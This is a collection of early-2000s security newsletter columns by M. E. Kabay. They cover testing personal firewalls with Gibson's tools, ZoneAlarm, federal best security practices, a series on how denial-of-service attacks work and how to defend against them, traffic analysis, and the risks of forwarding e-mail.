Clicking on "Test My Shields" generates an attempt to connect to the user's system from the GRC Web site. In my case, running ZoneAlarm Pro v2.6.88, the test showed that my computer was impervious to the connection attempts and provided details of each test.

Selecting the "Probe My Ports" function performs a port scan to see which elements of the target system are visible at all on the Internet; in my case, my system was invisible to the port scans used by the GRC test suite (FTP, Telnet, SMTP, Finger, HTTP, POP3, IDENT, NetBIOS, IMAP, and HTTPS). Detailed explanations of the services tested are available on the FAQ at < http://grc.com/faq-shieldsup.htm >.

Gibson warns users that they should obtain permission from network administrators before running such tests on a workstation that is behind a corporate firewall. Unexpected unauthorized connection attempts and systematic port scans can easily be interpreted as hostile acts.

* * *

In the next article in this series, we'll look at Gibson's tool for testing personal firewalls from the inside.

* * *

Mich Kabay can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from the Information Security University project, see < http://infosecu.com >.

Personal Firewalls (3):
Testing From the Inside

by M. E. Kabay, PhD, CISSP
Associate Professor of Computer Information Systems
Norwich University

In the first article in this short series on personal firewalls, we looked at the basic reasons corporate network security managers should install personal firewalls on all their organizations' computers, including laptops, and why home computers used by employees should also be protected. In the second article, I summarized Gibson's tools for external testing of personal firewalls. In this article, we'll look at testing firewalls against leakage from the inside.

* * *

Steve Gibson writes < http://grc.com/lt/leaktest.htm >,

> "This site has been most well-known for its FREE ShieldsUP! Internet security test. Crucial as it is to protect yourself from malicious hackers outside, those bad guys represent only half of the threat. The Internet has proven to be an extremely fertile transportation medium for all manner of nasty Trojan horse programs, rapidly proliferating viruses, and privacy invading commercial spyware. As a result, it is no longer true that all of the potential problems reside outside the computer.
>
> Your Internet connection flows both ways . . . so must your security.
>
> Not only must our Internet connections be fortified to prevent external intrusion, they also provide secure management of internal extrusion. Any comprehensive security program must safeguard its owner by preventing Trojan horses, viruses, and spyware from using the system's Internet connection without the owner's knowledge. Scanning for the presence of Trojans, viruses, and spyware is important and effective, but if a piece of malware does get into your computer you want to expose it immediately by detecting its communication attempts and cut it off from communication with its external agencies."

The download of Gibson's LeakTest v1.00 takes only a few seconds (the program uses only 27KB) and has only two function buttons: HELP and TEST FOR LEAKS. Clicking on the latter brings up a results screen almost instantly. In my case, the results were as follows:

> Unable To Connect. LeakTest was unable to connect to the GRC NanoProbe Server. If your computer is currently connected to the Internet, the most likely cause for LeakTest's inability to connect is an aggressive and properly working firewall. If so, it is preventing LeakTest from connecting to our machine's FTP port number 21.
> That's GREAT news! . . .
> . . . but to be completely certain that your firewall deserves the credit for blocking this outbound connection attempt, you should try permitting LeakTest to connect just to be sure it can. If it still can't, then perhaps something has changed on our end and you'll need to grab an updated copy.

To be sure that my firewall was in fact responsible for the negative results, I explicitly allowed

ZoneAlarm to permit outbound connections from LeakTest. This time the results showed,

> Firewall Penetrated! LeakTest WAS ABLE to connect to the GRC NanoProbe Server!
>
> LeakTest was not prevented from connecting to the Gibson Research NanoProbe server. You either have no firewall, you have deliberately allowed LeakTest to connect outbound, or (if neither of those), LeakTest has just slipped past your firewall's "protection"!

In summary, Gibson has once again contributed a valuable tool for all Internet users. This man deserves support, praise and lots of business. I suggest that at the very least, we should all buy licenses to his SpinRite utility. Keep up the good work, Steve!

* * *

In the next article in this series, I will summarize Gibson's findings about the ZoneAlarm personal firewall product.

* * *

Mich Kabay can be reached by e-mail at <mkabay@compuserve.com >. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from the Information Security University project, see < http://infosecu.com >.

Personal Firewalls (4): ZoneAlarm

by M. E. Kabay, PhD, CISSP
Associate Professor of Computer Information Systems
Norwich University

In the first article in this short series on personal firewalls, we looked at the basic reasons corporate network security managers should install personal firewalls on all their organizations' computers, including laptops, and why home computers used by employees should also be protected. In the second article, I summarized Gibson's tools for external testing of personal firewalls. In the third article, we looked at testing firewalls against leakage from the inside. In this final article, I summarize media attention to the free ZoneAlarm personal firewall.

* * *

When Steve Gibson of Gibson Research Corporation began testing personal firewalls, he found that all but one of the products allowed his LeakTest product to connect from the inside of a PC to an external site without notification: ZoneAlarm from ZoneLabs < http://www.zonealarm.com/ >. Gibson unreservedly recommends this product (see < http://grc.com/zonealarm.htm >), which is free for personal or non-commercial use. He awarded 4.5 "Moes" out of a possible five, explaining that there was no technical support for the free product. However, there are discussions about ZoneAlarm for help on the product at < news://news.grc.com/shieldsup/ >.

Other media reports are equally positive.

ZDNet's evaluation < http://www.zdnet.com/downloads/stories/info/0,,0015P7,.html > says, "ZoneAlarm is an easy-to-use Internet security utility that sets up a personal firewall that's particularly well suited to DSL and cable modem users. Computers with such an always-on connection have a permanent IP address, making them especially vulnerable to information theft and other attacks. This version now comes with a fine tutorial, real time color-coded intuitive alerts and Alert Advice that provides straight-forward advice from Zone Labs experts. . . ."

The German magazine PC WELT ("PC World") named ZoneAlarm "Product of the Week" < http://www.pcwelt.de/content/news/newpcwelt/2001/05/xn040501017.html >.

The DaveCentral Software Archive < http://www.davecentral.com/9860.html > describes ZoneAlarm as follows: "ZoneAlarm provides essential protection for Internet users, gives rock-solid protection against thieves and vandals."

Sandy Berger of CompuKiss writes that ZoneAlarm, "is easy to install, and it does an excellent job of protecting your computer from unauthorized access. ZoneAlarm provides port blocking and service as well as file share control. It can also act in stealth mode."

Terrance Crow, writing for Advisor Magazine < http://www.advisor.com/Articles.nsf/aid/CROWT63 >, said, "ZoneAlarm installs with very good defaults: It doesn't let anything in, and it asks before it lets anything out. When it intercepts an attempted attack, by default it displays a dialog to let you know. I found it easier to disable that and let ZoneAlarm dump the attacks to a log file. Otherwise, the program interrupted me too

often. When programs like Eudora Pro try to access the Internet, ZoneAlarm showed a dialog asking if it was okay. Fortunately, the prompt included a checkbox to tell ZoneAlarm to always let Eudora Pro out."

Ted Tang, in his excellent article, "Basic Home Computer Internet Protection for Free!" published on the SANS site < http://www.sans.org/infosecFAQ/start/free.htm > also names and recommends ZoneAlarm.

I recently bought the ZoneAlarm Pro product and have experienced no problems in installation or in function. The interface is simple to use and the product has a particularly valuable feature if one is interested in learning more about an attack or a probe: clicking on the MORE INFO button in the (optional) pop-up window launches the default browser and provides an IP lookup where possible. The service also provides more extensive documentation and explanation if desired.

I recommend the free version to anyone running an Internet session and I think the professional version is an excellent tool for all business users.

* * *

Mich Kabay can be reached by e-mail at <mkabay@compuserve.com >. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues would be delighted to deliver to your employees at your site and at your convenience. For Web-based or CD-ROM online training in security from the Information Security University project, see < http://infosecu.com >.

Federal Best Security Practices

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Everyone benefits from knowing how other people manage their security policies. At a recent conference, I was introduced to the Federal Best Security Practices (BSPs) that are currently being collected by the CIO Council of the United States government. The Web site < http://bsp.cio.gov/ > provides a list of the 20 policies that have been contributed so far, some descriptive information about the project, and forms for submitting proposals for new BSPs.

In the definitions and framework page < http://bsp.cio.gov/BSPDefined.cfm >, the CIO Council defines a BSP as, "an existing method, proven effective and validated by actual experience, that people use to perform a security-related task." Their contrast between what a BSP is and is not is instructive for anyone thinking about security policies:

A BSP

* Is a "human practice; that is, a repeated or customary method used by people to perform some action."
* Is not "an IT security mechanism, which is implemented by hardware, software, or firmware although such tools are often essential components of a BSP."

* Is "security-related; that is, plays a part in protecting an organization's information, resources, or at a business operations."
* Is not "a business practice, though it supports the organization's business operations."

* Is "Proven-effective in achieving a security objective as the result of actual operational experience."
* Is not "a best possible practice but a best existing practice; not the result of armchair theorizing.

* Among the most effective of existing practices used to perform a particular security process."
* Is not "necessarily the single best existing practice of a particular sort."

The definitions and security frameworks page includes useful links to a number of Federal Government security frameworks:

* Security Process Framework < http://bsp.cio.gov/spfdescription.cfm > and Tree < http://bsp.cio.gov/SPFTree.cfm > from the BSP Program Office;

* Security of Federal Automated Information Resources (Appendix III to OMB Circular No. A-130) < http://www.whitehouse.gov/OMB/circulars/a130/a130.html > from the Office of Management and Budget;

* Federal Information Technology Security Assessment Framework < http://www.cio.gov/docs/federal_it_security_assessment_framework.htm > from the CIO Council;

* Generally Accepted Principles and Practices for Security of Information Technology Systems (Special Publications 800-14) < http://csrc.nist.gov/publications/nistpubs/index.html > from the National Institute of Standards and Technology;

* Federal Information System Control Audit Manual (AIMD-12.19.6) < http://www.gao.gov/special.pubs/12_19_6.pdf > from the General Accounting Office;

* System Security Engineering Capability Maturity Model < http://www.sse-cmm.org/ > from the National Security Agency;

The list of the current Federal BSPs < http://bsp.cio.gov/list.cfm > provides visitors with 20 documents. A few of these interesting and valuable papers are as follows:

* Securing POP mail on Windows clients < http://bsp.cio.gov/getfile.cfm?messageid=00020 > comes from NASA and discusses practical methods for securing common e-mail software;

* Integrating security into the systems development lifecycle < http://bsp.cio.gov/getfile.cfm?messageid=00013 > is from the Social Security Administration;

* How to deploy firewalls < http://bsp.cio.gov/getfile.cfm?messageid=00009 > from the Sofware Engineering Institute at Carnegie Mellon University;

* Continuity of operations < http://bsp.cio.gov/getfile.cfm?messageid=00008 > from the Department of the Treasury.

I encourage all readers to make use of all of the BSPs in planning or updating their own security policies and procedures. I hope that all agencies of the US Federal Goverment will submit their own contributions to the CIO Council for inclusion in this expanding library.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Fighting DDoS (1):
Home Computers Take Down the Big Boys

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

Probably everyone knows about the distributed denial-of-service (DDoS) attacks launched in February 2000 on a number of prominent Web-based e-commerce sites. If you are new to this issue, see Steve Bellovin's summary of the problem at < http://www.research.att.com/~smb/talks/nanog-dos/index.htm >. For three of my previous commentaries on this issue, see < http://www.nwfusion.com/newsletters/sec/0221sec1.html >, < http://www.nwfusion.com/newsletters/sec/0228sec1.html > and < http://www.acm.org/ubiquity/views/m_kabay_1.html >.

Steve Gibson < http://www.grc.com> has published a long and detailed report on the DDoS attack his site suffered in May 2001 < http://grc.com/dos/grcdos.htm >. In a nutshell, starting at 20:00 on 2001-05-04, Gibson's site was flooded with bogus UDP and ICMP packets, completely flooding his T1 lines and preventing legitimate access to his Web pages. Working with his ISP, Gibson was able to arrange to discard the spurious traffic before it hit his own firewall. Analysis showed that the attacks were coming from 474 compromised computers running Windows operating systems. Luckily, most of the compromised machines were running Windows 9x and Windows NT systems that were unable to forge packet headers, so it was possible to identify the source IP addresses and institute firewall policies to block traffic from those sources.

Over the next two weeks, the attackers changed their tactics several times to break through the firewall rules in place, putting Gibson's site down for many hours at a time. Over the course of the attacks, Gibson and his ISP logged about 2.4 billion bogus requests directed to various ports on his systems.

The originator of the attacks, apparently a 13 year old child in Kenosha, WI, communicated with Gibson and explained that he had heard rumors that Gibson had been disrespectful towards "script kiddies." Based on this hearsay, the child and his friends had put a Web site into limbo for several days. The transcripts of some of Gibson's conversation with the perpetrator of the DDoS attack are highly revealing and well worth reading.

Eventually, someone sent Gibson a copy of the zombie program they found on an infected PC, and Gibson was able to locate the IRC channel where the zombies were communicating with the 13-year-old's master program. He also documented the infection of home PCs by the Sub7Server Trojan, which automatically reports on compromised machines. After discussing his problems with a leader in the criminal hacker underground, Gibson was able to convince the child to stop harassing him.

The experience convinced Gibson that we are heading for serious difficulties on the Internet if a little kid can exert that much power over the adult world.

[other comments on importance of DDoS]

* * *

In the next article in this series, I will review some of the more important techniques of simple (not distributed) denial-of-service attacks as a foundation for understanding and fighting DDoS attacks.

* * *

Mich Kabay can be reached by e-mail at <mkabay@atomictangerine.com>. He invites inquiries about a wide range of information security courses and INFOSEC consulting services that he and his colleagues at AtomicTangerine would be delighted to deliver to your employees at your site and at your convenience. Fighting DDoS (2):
Types of Simple DoS

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the first article of this series, we looked at the importance of denial-of-service (DoS) attacks. In this article, I present a brief review of some basic types of simple DoS techniques.

* * *

Denial of service (DoS) is hardly new. Unplugging a computer system or burning it to cinders causes denial of service; more interesting, so does holding down the ENTER key on a terminal that is not yet logged on but is connected to certain kinds of mainframe and minicomputers. This latter case is instructive: the reason that such a simple act can bring these computers to a halt is that pressing the ENTER key initiates a device-recognition routine in the operating system that runs at high priority; keeping the key pressed generates so much processing to recognize the device that the process can easily consume almost 100% of the processor capacity.

The key (no pun intended) to understanding this DoS is that an action has caused an unexpectedly high resource consumption because the operating system function is unable to distinguish a legitimate demand (asking to initiate a logon) from an abusive demand (keeping the ENTER key pressed). In this case, the operating system function involved is _stateless_; i.e., there is no mechanism to change the response as a function of whether the stimulus has already occurred in a period of time that would allow the system to recognize abuse.

Instead of using up all the CPU cycles, other kinds of DoS attack saturate other fixed resources. For example, in a normal session initiation, a system on the Internet initiates a request for a connection to a specific host using a SYN (synchronization) packet. The host responds with a SYN-ACK (synchronization acknowledgement) packet to the initiating system's IP address and sets an entry in a table for pending session initiations with a reasonable timeout parameter (originally around 15 seconds). Finally, in a normal connection, the requesting system responds with and ACK (acknowledgement) packet to complete the session initiation. In the SYN flooding attack, the attacker sends as many SYN packets as it can and uses one or more false IP addresses these fraudulent SYN packets. The SYN-ACK responses go into the bit bucket and the host never receives any ACK packets for the pending sessions. Therefore the session-initiation table quickly fills up to its maximum and no further requests for new sessions -- including legitimate requests -- can be processed until the SYN flood terminates. Two of the methods for reducing susceptibility to such attacks were (1) to increase the size of the session-initiation table and (2) to reduce the timeout period to free up entries more quickly.

A similar saturation attack was perpetrated on bulletin board systems (BBSs) back in the 1980s when abusive posters sent hundreds or thousands of messages to the board and used up all available slots for new messages and sometimes completely replaced all the old ones, entirely destroying the message base. System operators responded by configuring strict limits on how many messages a given user could post per day, whereupon the abusers began using multiple aliases to mask the origin of the spurious messages.

Another nasty denial of service attack is possible when repeated logon errors cause an ID to be locked out of a system or network but there are no delays imposed before allowing another logon. By logging on to every ID in turn and deliberately entering invalid passwords, a single criminal hacker can shut down access to all the IDs on a system. Even with a delay, it is still possible to interfere with access in this manner if the attacker uses a script or program for automatically trying all IDs quickly.

Finally, another class of DoS attacks relies on crashing systems. In 1981, for example, I found that typing a particular parameter in a logon to an MPE III operating system would crash any HP3000 in the world even without having a legitimate logon ID. The Teardrop attack is another example of causing DoS through a system crash: Teardrop attacks use malformed packets to cause the IP process stack on the target machine to crash. Similarly, buffer overflows can also cause system crashes (buffer overflows are problems in which long input strings are not blocked by an input edit function before they are processed by the operating system or application program).

* * *

In the next article in this series, we will look at distributed denial-of-service attack methods.

* * *

Fighting DDoS (3):
Types of Distributed DoS

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this series, we looked at some fundamental types of denial-of-service (DoS) attacks. In this article, I introduce a few examples of techniques that attackers use to harness the power of multiple computers in slowing down or stopping a target system or network -- the distributed DoS or _DDoS_ attacks.

* * *

One of the earliest attack techniques that used the resources of multiple systems to overwhelm as target was the Smurf attack. In this DoS, the attacker used a dangerous feature of IP networks, the _broadcast address_. Sending a request (e.g., a ping) to the broadcast of a network reproduces the request and sends it to every IP address on that network. All of the systems receiving the ping can then respond to the request by returning the appropriate information to the originator of the ping. The DoS in the Smurf attack occurs when a system using forged IP headers sends a ping to a broadcast address on a very large network and fraudulently directs the responses to a third system, the victim. The victim can easily be flooded with spurious traffic that interferes with legitimate communications.

Some readers will be familiar with distributed processing using PCs on the Internet; in the collaboration called SETI@home < http://setiathome.ssl.berkeley.edu/ >, which uses the power of over three million PCs and workstations owned by volunteers who download radio-telescope data and upload the results of analysis performed during quiet periods on their computers. The current crop of DDoS attacks use unprotected computers on the Internet as components of a large distributed-processing environment in much the same way as the legitimate distributed-computing projects.

DDoS tools today scan for vulnerable systems on the Internet and install "zombie" programs which then listen for specific encrypted messages from "master" programs controlled by the criminal hackers (often children) planning the DDoS attacks. At some point, the master sends out instructions on which IP address to attack using which DoS technique. Since the master can easily control hundreds or thousands of zombies, the resulting flood of spurious traffic directed at a target can easily overwhelm all resources and prevent access to the system under attack.

Some of the DDoS tools in use today are trin00, tfn (Tribe Flood Network), Stacheldraht, TFN2K, Shaft, and Trinity (and many others). See Dave Dittrich's resource page at < http://staff.washington.edu/dittrich/misc/ddos/ > for an extensive list of documents discussing such tools.

* * *

In the next article in this series, I will look at some of the fundamental causes for the Internet's susceptibility to DDoS attacks.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Fighting DDoS, part 4
Fundamental causes

By M. E. Kabay

What are the fundamental causes of distributed denial of service (DDoS)? ~~and a~~Are breaches of availability always premeditated attacks or accidents? ~~and h~~How can they be prevented? A panel of security experts discussing DoS at the 23rd National Information Systems Security Conference, which took place in Baltimore in October 2000, gave some strong views.

Dr Peter G. Neumann of the Computer Science Lab at SRI International, who moderated the panel, said: "We have much to learn from historical cases of breaches of availability. In 1980, ARPANET crashed because of a couple of dropped bits; similarly the public switched network (PSN) has gone down due to accidents over the years. In the case of Robert Morris' 1988 worm, Morris did not in fact exceed authority: he merely used a wide-open, vulnerable system that still completely lacks any formal authentication mechanism."

(Robert Morris was a graduate student in computer science at Cornell University in Ithaca, N.Y., when he let a computer virus into a network of university and government machines linked together by a much smaller version of today's Internet.)

Virgil Gligor, Professor in the Department of Electrical and Computer Engineering at the University of Maryland in College Park, said flatly, "By 1988, I determined that DoS was not solvable in principle: ~~.~~ t~~T~~here was no way that legitimate uses of services could be prevented from saturating resources if they chose to do so. We can reduce but not prevent DoS. . . . However, today we feel that services can be hardened to withstand attacks that lead to DoS; and we ought to be able to detect DoS and respond - but we lack automated recovery techniques."

Steve Bellovin, AT&T Fellow at AT&T Labs Research, pointed out the fundamental issue allowing DoS when he said, "DoS can happen whenever it's cheaper for an attacker to make a request than for the victim to process it."

Bellovin explained that cryptographic authentication is relatively expensive in processing, especially if public key crypto is used. Ideally, he said, we should established layered authentication with simple and cheap preliminary rejection of fraudulent or attack packets. On the other hand, continued Bellovin, if everything must be authenticated and authorized, what about privacy and anonymity? (As an aside in connection with making authentication of packets cheaper, see Robert Moskowitz's "Host Identity Payload" paper at http://www.ietf.org/internet-drafts/draft-moskowitz-hip-impl-01.txt)

During the discussion period, Gligor pointed out that authentication by itself is not a solution; for example, if we force strong authentication using cryptography, then an attacker can flip a single bit on a message and cause it to be discarded.

As a member of the audience, I suggested that we look at how mainframe and minicomputers were adapted to increasing data communications demands in the early 1980s. They used distributed functionality to match load; e.g., communications processors would offload CPUs by handling communications protocols without using the main CPU. Perhaps now we should be using specialized processors dedicated to spotting DoS attacks and filtering out spurious packets before they have a damaging effect on other elements of the target network such as routers and firewalls.

It turns out that this last suggestion is exactly what firms making anti-DoS hardware are doing and that topic will be the subject of a later article. In the next article in this series, we will look at some methods for interfering with DDoS by stopping the outbound traffic.

Traffic Analysis and Inference

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

One of the interesting techniques used in signals intelligence (SIGINT) is called traffic analysis: inferring important information from relatively obscure byproducts of information structure and transmission. For example, if there are four areas of active combat in a war zone, and message traffic between the enemy's field headquarters and one of those areas increases significantly, it is possible that a change in tactics or strategy may be in progress. Of course, counterintelligence techniques dictate that to forestall such inference, traffic to all four areas must rise equally. Communications security (COMSEC) specialists can use what is called "chaffing" – including dummy messages – on the other three channels to conceal the rise in the actual traffic to the area that is really the site of increased communications.

In our day-to-day operations, few of us think about the possibility of traffic analysis as a threat to our confidential data. For example, suppose a company is thinking about building a new factory in one of five cities; real-estate speculators may be very interested to find out that telephone, fax and e-mail traffic from the company to a particular real-estate agency in Iowa City has increased five-fold in the last day compared with traffic to the other four cities in the running. To follow along in this scenario, such speculators would also be interested in monitoring the activity of the real-estate agents in Iowa City to find out where the new factory might be sited. If mobile telephone use is (illegally) monitored by unscrupulous speculators, they might very well be able to infer precisely which plots of land were of particular interest. With this kind of information in hand, the speculators might be able to buy the most likely site at bargain prices and then turn around the next day and sell it to the company for a large profit – to the cost of that victim of inference.

On a more prosaic level, how many of us label our directories and subdirectories (folders) with clear identifiers that tell a casual observer too much about our business? For example, I have a folder called CONSULT on my hard drive (OK, it's in an encrypted partition, but never mind that for now). Within that folder, I keep records of my work with various clients. Unless the fact that my work with the client is public knowledge, I don't put the name of the client on the subfolder for that client: I use initials or some other designator that makes it a bit more difficult for someone who glimpses my directory tree to figure out for whom I've been working. Notice that the issue is not that the files in those folders are accessible (they aren't); the potential problem is that a clearly-labeled folder with a client's name reveals too much all by itself.

In summary, for high-security applications, we should be aware of the possibility of traffic analysis and more general inference as threats to our confidentiality. Don't put valuable information in folder and file names that can be seen by authorized personnel even if the contents are inaccessible or encrypted. Conceal changes in normal communications patterns if you think that your interests may be harmed by knowledge of those changes.

Fighting DDoS (5):
Stopping Outbound Rubbish

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this series, we looked at some of the fundamental reasons that systems on the Internet are so vulnerable to such attacks. In this article, I review some methods for interfering with DDoS by stopping the spurious outbound traffic.

* * *

The best description I have found of how to fight DDoS at its root is the document " Help Defeat Denial of Service Attacks: Step-by-Step, Revision: 1.41" from the System Administration and Network Security (SANS) Institute < http://www.sans.org/dosstep/index.htm >. This guide enumerates and explains the steps in setting up barriers to harmful flows of spurious packets designed to cause trouble for recipients. The topics are as follows:

1. Egress filtering to stop spoofed IP packets from leaving your networks
1.1 Deny invalid source IP addresses
1.2 Deny private and reserved source IP addresses
2. Stop your network from being used as a broadcast amplification site
2.1 Disable IP directed broadcast on all systems
2.2 Test your network to determine if it is an amplification site
2.3 Require that vendors disable IP directed broadcast by default

Another useful document is "Strategies to Protect Against Distributed Denial of Service (DDoS) Attacks" from CISCO Systems < http://www.cisco.com/warp/public/707/newsflash.html >. This White Paper provides a thorough overview of DDoS attack methods, tools and preventive strategies for use with their routers.

To track and destroy zombie programs on intermediate systems, one can use the PestPatrol software < http://www.pestpatrol.com > from SaferSite. This program has been developed to attack malicious non-viral programs; among the crew at SaferSite are my good friends Bob Bales, Pete Cafarchio, Don Krysakowski, Pam Martin, Barbara Rose David Stang and others -- folks I have known for years from our involvement in the early days of the National Computer Security Association (NCSA). The categories of pests that PestPatrol can identify and remove are listed at < http://www.pestpatrol.com/PestPatrol/PestPatrolCategories.asp >; in particular, the program recognizes and destroys 138 DoS tools and 24 DDoS tools. The Web site provides a searchable database < http://www.pestpatrol.com/PestPatrol/pestdatabase.asp > that allows anyone to find detailed information about all sorts of pests.

* * *

In the next article in this series, we will look at stopping inbound DDoS traffic.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. Fighting DDoS (6):
Stopping Inbound Floods at the Enterprise Level

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this series, we looked at stopping spurious outbound traffic. In this article, I review methods for stopping inbound DDoS traffic.

* * *

One approach for stopping the stream of fraudulent packets generated by DDoS tools is exemplified by the solutions offered by Captus Networks. Their CaptIO device < http://www.captusnetworks.com/product_overview.html > is a specialized processor that recognizes DDoS traffic before it reaches the protected network. CaptIO removes the spurious packets from the data stream before the routers and firewalls can be disturbed. No user intervention is required, and the rule that blocks the junk is removed automatically when the attack subsides. Depending on the model, these devices can service 9 to 12 networks. As I mentioned in an earlier article, this approach resembles the solutions for handling heavy data communications traffic back in the early 1980s, when some mainframe and minicomputers still allowed every single character to interrupt the main processor; manufacturers added specialized communications controllers that handled all the character-by-character interrupts and passed completed command or data strings to the main CPU only when a line delimiter (e.g., CR/LF) was encountered. The major advantage to the CaptIO approach is that adaptation to the attack packets is much quicker than anything a human being could do, thus staunching a DDoS attack before it reaches noticeable levels.

Asta Networks recently announced its Vantage System < http://www.astanetworks.com/news/press/relief.html > for fighting DDoS; according to its press release, "Vantage System is composed of Sensors, network appliances that collect traffic data from key routers, and Coordinators, servers that aggregate and analyze data from the Sensors to construct an overall view of network activity for the network operator or engineer. Several phases of analysis are conducted to provide all the actionable knowledge Network Operations Centers need to immediately detect an attack, locate its source, and counter it with the most appropriate measures to ensure continued flow of good traffic."

* * *

In the next and last article in this series, we will look at methods of stopping a flood attack at the upstream ISP level.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Fighting DDoS (7):
Stopping Inbound Floods at the ISP Level

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

In the previous article in this series, we looked at stopping inbound DDoS traffic at the enterprise level. In this final article, I point to a couple of products that stop spurious traffic upstream, at the Internet Service Provider level.

* * *

A different location in the Internet is used by other anti-DDoS tools: the upstream Internet Service Providers. The TrafficMaster system < http://www.mazunetworks.com/solutions.html > from Mazu Networks sits on large-bandwidth pipes upstream from the protected systemshis positioning is advantageous because data collection can be carried out on data streams that are directed to many different customers of the ISP. Such central monitoring allows rapid identification of attack patterns when there are multiple targets. The TrafficMaster Inspector module is capable of monitoring up to OC-12 bandwidth (622 Mbps) with no slowing of throughput. The TrafficMaster Enforcer module is essentially a single-purpose firewall dedicated to eliminating spurious traffic identified as a DDoS attack.

Arbor Networks produces the Peakflow DoS tool < http://www.arbornetworks.com/news2?cid=5&tid=9&nid=40 >, which also works upstream. This specialized product is designed for carriers with large bandwidth < http://www.arbornetworks.com/standard?cid=4&tid=7 >, although it can also be applied to enterprise networks < http://www.arbornetworks.com/standard?cid=4&tid=6 >. As I understand it, this system does rely on human intervention for effective blocking of DDoS traffic; in the caption to a diagram of the system process, the company writes,
"1. Traffic enters the Service Provider network.
2. Monitor: Peakflow DoS Collectors analyze traffic for anomalies without disrupting traffic flow to routers.
3. Detect: Peakflow DoS collectors create and forward unique anomaly fingerprints to Peakflow DoS Controllers.
4. Trace: Peakflow DoS Controllers then quickly trace the attack to its source.
5. Filter: Peakflow DoS Controller recommends filters, which the network engineer can implement to stop the attack before it brings down key routers, firewalls and/or the entire network."

NetScreen Technologies Inc. manufactures high-speed network security devices, including anti-DDoS systems. There is an impressive list of White Papers < http://www.netscreen.com/solutions/index.html > on the site; unfortunately, one has to register for the privilege of reading their White Papers by providing full contact information. Since there appears to be no privacy policy listed on their site -- and I checked thoroughly -- I declined to do so. However I did write to NetScreen before sending the draft article to NetworkWorld Fusion and got a very courteous and concerned response from Mr Jeff Wenker, Manager of Public Relations for the firm. Mr Wenker assured me that the company is working on a privacy policy and categorically stated that they "do not share any of the information visitors submit with

parties unaffiliated with NetScreen."

In conclusion, there are several methods available for interfering with the wretched behavior of irresponsible fools and scoundrels who spew their fraudulent packets all over the Internet to cause harm to others. The more sites there are that respond effectively to such denial-of-service attacks, the more likely that law enforcement will be able to use log files to track down the perpetrators and prosecute them for these outrages.

As for me, I run two firewalls on my PC and automatically update my antivirus software and my PestPatrol software to catch and remove malicious software of all kinds.

I encourage everyone to do their part in fighting this scourge.

* * *

Disclaimer: the author has no financial or any other interests in the companies named in this article. All references are for information purposes only and are not to be construed as product endorsements.

* * *

In the next and last article in this series, we will look at methods of stopping a flood attack at the upstream ISP level.

* * *

M. E. Kabay, PhD, CISSP is Associate Professor in the Department of Computer Information Systems at Norwich University in Northfield, VT. Mich can be reached by e-mail at < mkabay@compuserve.com >. He invites inquiries about his information security and operations management courses and consulting services.

Forwarding E-mail

by M. E. Kabay, PhD, CISSP
Associate Professor, Computer Information Systems
Norwich University, Northfield VT

A reader from Singapore wrote,

"I would like to know what are your views on email forwarding; i.e., should staff be allowed to forward mails to their external accounts (Internet mail accounts)? I work in a hospital and I have request from Doctors who asked that the auto-forward feature of their Lotus Notes e-mail messages be enabled to forward their e-mail to their external Internet mail account so that they can read it while at home or overseas. There were some security concerns here that confidential mails would then end up circulating in the Internet."

This question forces us to confront the conflict between theory and practice. E-mail and other traffic on the Internet has no inherent confidentiality. In theory, anyone capable of intercepting TCP/IP packets anywhere during transmission can breach confidentiality. Thus, again in theory, anyone with access to the equipment of Internet Service Providers, Internet backbone transmission lines, and even to the public switched telephone network can intercept packets. With downlink footprints from satellite relays amounting to square miles, practically anything can in theory be intercepted from much of the traffic circulating on the Internet.

However, in practice, reported breaches of confidentiality have almost all resulted from data access at the end points, not in transit. Insider attacks and breaches of server security have been responsible for most of the data interceptions that have reached the press and the courts.

A practical impediment to effective interception of meaningful data in transit is the datagram routing that underlies the Internet: datagrams are packets of information with origin and destination information; store-and-forward transmission allows these datagrams to be sent through the Internet via different routes from other packets in a message stream. Routing tables can be updated in real time to reflect changes in traffic density or availability of specific links to other destinations on the Internet, so there is no guarantee that packets from the same message will travel the same route or arrive in the proper sequence (sequence numbers allow reassembly of the original message). Therefore seizing individual packets at random anywhere other than the origin and destination of packets is unlikely to result in very much result for the effort.

Nonetheless, best practices do recommend that encryption be used for communication of sensitive data; therefore, many organizations install Virtual Private Networks (VPN) for communication with established trading partners. VPN software is also available for "tunneling" through the Internet from a remote workstation over non-secure communications lines. A simple example of such a link-encryption function is the Web-based e-mail services that use SSL to establish a secure link to the e-mail server (i.e., they use HTTPS instead of just plain HTTP). The user can pick up e-mail from the corporate server without having it forwarded in the clear to an insecure external e-mail service. Some of the e-mail products include facilities for direct

communication between a secure e-mail servers and the users' e-mail clients.

